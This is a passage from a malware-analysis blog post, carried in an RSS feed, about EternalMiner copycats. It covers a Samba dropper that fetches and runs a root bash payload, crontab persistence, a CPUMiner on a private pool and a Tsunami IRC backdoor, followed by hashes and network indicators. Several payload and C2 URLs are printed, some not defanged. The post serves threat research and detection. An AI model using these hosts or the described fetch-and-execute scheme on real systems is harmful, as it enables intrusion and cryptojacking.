&lt;a href="https://www.virustotal.com/en/file/444d0fae73e1221b81dc6c5d53cf087afa88248fc22ef36e756841ab04df24a8/analysis/1497997544/"target="_blank" rel="noopener"&gt;sample&lt;/a&gt;
was uploaded to VirusTotal. The dropper starts executing from
&amp;ldquo;samba_init_module&amp;rdquo; exports then tries to fetch a payload from the server &amp;amp;
execute it as root user in the background. This is done using a hard-coded
obfuscated bash one-liner as you can see in the picture below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/07/eternalminer-copycats/images/fig2.png" title="sample hash: 444d0fae73e1221b81dc6c5d53cf087afa88248fc22ef36e756841ab04df24a8" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;sample hash: 444d0fae73e1221b81dc6c5d53cf087afa88248fc22ef36e756841ab04df24a8&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Payload&lt;span class="hx:absolute hx:-mt-20" id="payload"&gt;&lt;/span&gt;
&lt;a href="#payload" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The payload (&lt;code&gt;http://update1.sdgndsfajfsdf[.]info/u1&lt;/code&gt;) is a short bash script
which relays on system tools for 3 main tasks&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Setup daily updates from 3 different backup servers using crontab.&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;http://update.sdgndsfajfsdf.info/upd&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://update.sdgsafdsf.pw/upd2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://update.omfg.pw/upd3&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;Drop and execute Tsunami backdoor &amp;amp; CPUMiner in the background.&lt;/li&gt;
&lt;li&gt;Prevent further exploitation by other players who might compete for
resources(patch &lt;code&gt;smb.conf&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We were also able to fetch the daily update script from a live server
(&lt;code&gt;http://update.sdgndsfajfsdf.info/upd&lt;/code&gt;). It seems that this script is just a
stripped version of the payload script, lacking the daily updates setup
functionality:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/07/eternalminer-copycats/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h3&gt;CPUMiner&lt;span class="hx:absolute hx:-mt-20" id="cpuminer"&gt;&lt;/span&gt;
&lt;a href="#cpuminer" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;CPUMiner is an open source cryptomining command line utility supporting
multiple coins/algorithms. It seems that the attackers used
&amp;ldquo;&lt;a href="https://github.com/tpruvot/cpuminer-multi"target="_blank" rel="noopener"&gt;cpuminer-multi&lt;/a&gt;&amp;rdquo; – multithreaded
more efficient version of the original @poolers cpuminer used by EternalMiner.
This sample was &amp;ldquo;upgraded&amp;rdquo; it in a similar way as EternalMiner so it could run
standalone without command line parameters. Once started, the upgraded cpuminer
automatically login into the attackers private mining pool server
(&lt;code&gt;p.theywant[.]in:8080&lt;/code&gt;), unlike the public mining pool server used by
EternalMiner (&lt;code&gt;xmr.crypto-pool[.]fr:3333&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/07/eternalminer-copycats/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h3&gt;Tsunami Backdoor&lt;span class="hx:absolute hx:-mt-20" id="tsunami-backdoor"&gt;&lt;/span&gt;
&lt;a href="#tsunami-backdoor" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Alongside CPUMiner the payload script would also fetch &amp;amp; execute &amp;ldquo;Tsunami&amp;rdquo;
(also known as Kaiten) which is an old Linux irc backdoor/ddos botnet best
known for been used to infect
&lt;a href="https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/"target="_blank" rel="noopener"&gt;IOT devices&lt;/a&gt;
and
&lt;a href="https://www.welivesecurity.com/2011/10/25/linux-tsunami-hits-os-x/"target="_blank" rel="noopener"&gt;OSX systems&lt;/a&gt;
in the past. The source is
&lt;a href="https://dl.packetstormsecurity.net/irc/kaiten.c"target="_blank" rel="noopener"&gt;publicly available&lt;/a&gt; and could
be used by anyone. This sample
(&lt;code&gt;d8e93252f41e8b0d10cffa92923eeab94c6c42e8acc308e91340df102042c8c8&lt;/code&gt;) is
configured with hardcoded c2 irc server (&lt;code&gt;asdgsd.uselesslongdomain[.]info&lt;/code&gt;). We
were able to connect to the live irc server using credentials hard coded in the
malware. In the following picture you can see two victims currently logged in
(running as root user).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/07/eternalminer-copycats/images/fig5.png" title="Tsunami Backdoor" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Tsunami Backdoor&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Quickly adopting&lt;span class="hx:absolute hx:-mt-20" id="quickly-adopting"&gt;&lt;/span&gt;
&lt;a href="#quickly-adopting" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;We found that the domain used to host the payload file (&lt;code&gt;sdgndsfajfsdf[.]info&lt;/code&gt;)
was registered on June 13th. Not only that but the first malicious
CPUMiner/Tsunami samples were uploaded to VT a day after(June 14th), meaning
that the attacks started within a short time of only 4-5 days after the
original EternalMiner publication!&lt;/p&gt;
&lt;h2&gt;Indicators of Compromise&lt;span class="hx:absolute hx:-mt-20" id="indicators-of-compromise"&gt;&lt;/span&gt;
&lt;a href="#indicators-of-compromise" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files"&gt;&lt;/span&gt;
&lt;a href="#files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;444d0fae73e1221b81dc6c5d53cf087afa88248fc22ef36e756841ab04df24a8 Dropper
2b96805abdbd1d9ca03d584e48fcfb30740d051dfc93248ff3e21b3a831c0e1a Payload
22a8dc0603005e3eee49706330c6a5b90214dcb0b3d2f89411fa10a6b3942e3b update file(daily)
d8e93252f41e8b0d10cffa92923eeab94c6c42e8acc308e91340df102042c8c8 Tsunami
162de4e95e5e5d35d80ca4cf752c80b2b32b52c9e5fef5551caa20b0d5ed83af Tsunami
26a717a7a14f10880a2869949814400b31d1f4c9cc45384be38289b012587468 Cpuminer&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Network&lt;span class="hx:absolute hx:-mt-20" id="network"&gt;&lt;/span&gt;
&lt;a href="#network" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;update1.sdgndsfajfsdf[.]info
update.sdgndsfajfsdf.info
update.sdgsafdsf.pw
update.omfg.pw
188.138.109.103
asdgsd.uselesslongdomain.info
p.theywant.in&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item></channel></rss>